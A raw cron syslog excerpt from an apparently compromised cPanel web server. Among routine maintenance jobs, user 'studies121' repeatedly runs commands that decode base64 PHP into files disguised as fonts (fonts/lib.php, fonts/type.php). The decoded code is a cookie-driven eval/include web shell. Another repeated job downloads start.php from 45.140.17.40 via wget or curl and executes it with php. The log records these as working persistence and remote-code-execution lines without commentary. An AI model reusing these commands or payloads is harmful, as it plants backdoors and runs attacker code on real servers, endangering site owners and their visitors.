Sep  5 21:03:01 ip-184-168-122-23 CROND[25314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:03:01 ip-184-168-122-23 CROND[25315]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:03:01 ip-184-168-122-23 CROND[25317]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:04:01 ip-184-168-122-23 CROND[25393]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:04:01 ip-184-168-122-23 CROND[25397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:04:01 ip-184-168-122-23 CROND[25394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:04:01 ip-184-168-122-23 CROND[25396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:04:01 ip-184-168-122-23 CROND[25395]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 21:05:01 ip-184-168-122-23 CROND[25487]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:05:01 ip-184-168-122-23 CROND[25491]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 21:05:01 ip-184-168-122-23 CROND[25489]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 21:05:01 ip-184-168-122-23 CROND[25492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:05:01 ip-184-168-122-23 CROND[25490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:05:01 ip-184-168-122-23 CROND[25493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:05:01 ip-184-168-122-23 CROND[25494]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 21:06:01 ip-184-168-122-23 CROND[25679]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:06:01 ip-184-168-122-23 CROND[25681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:06:01 ip-184-168-122-23 CROND[25683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:06:01 ip-184-168-122-23 CROND[25680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:06:01 ip-184-168-122-23 CROND[25682]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 21:07:02 ip-184-168-122-23 CROND[25770]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:07:02 ip-184-168-122-23 CROND[25771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:07:02 ip-184-168-122-23 CROND[25772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:07:02 ip-184-168-122-23 CROND[25773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:08:01 ip-184-168-122-23 CROND[25855]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:08:01 ip-184-168-122-23 CROND[25856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:08:01 ip-184-168-122-23 CROND[25858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:08:01 ip-184-168-122-23 CROND[25859]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 21:08:01 ip-184-168-122-23 CROND[25857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:09:01 ip-184-168-122-23 CROND[25946]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:09:01 ip-184-168-122-23 CROND[25948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:09:01 ip-184-168-122-23 CROND[25949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:09:01 ip-184-168-122-23 CROND[25950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:09:01 ip-184-168-122-23 CROND[25951]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 21:10:02 ip-184-168-122-23 CROND[26044]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 21:10:02 ip-184-168-122-23 CROND[26047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:10:02 ip-184-168-122-23 CROND[26048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:10:02 ip-184-168-122-23 CROND[26050]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 21:10:02 ip-184-168-122-23 CROND[26049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:10:02 ip-184-168-122-23 CROND[26056]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 21:10:02 ip-184-168-122-23 CROND[26051]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:10:02 ip-184-168-122-23 CROND[26057]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 21:11:01 ip-184-168-122-23 CROND[26217]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:11:01 ip-184-168-122-23 CROND[26216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:11:01 ip-184-168-122-23 CROND[26214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:11:01 ip-184-168-122-23 CROND[26215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:12:01 ip-184-168-122-23 CROND[26296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:12:01 ip-184-168-122-23 CROND[26297]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:12:01 ip-184-168-122-23 CROND[26298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:12:01 ip-184-168-122-23 CROND[26301]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 21:12:01 ip-184-168-122-23 CROND[26302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:13:01 ip-184-168-122-23 CROND[26414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:13:01 ip-184-168-122-23 CROND[26413]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:13:01 ip-184-168-122-23 CROND[26416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:13:01 ip-184-168-122-23 CROND[26415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:14:02 ip-184-168-122-23 CROND[26581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:14:02 ip-184-168-122-23 CROND[26583]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 21:14:02 ip-184-168-122-23 CROND[26582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:14:02 ip-184-168-122-23 CROND[26584]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:14:02 ip-184-168-122-23 CROND[26585]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:15:01 ip-184-168-122-23 CROND[26668]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:15:01 ip-184-168-122-23 CROND[26669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:15:01 ip-184-168-122-23 CROND[26673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
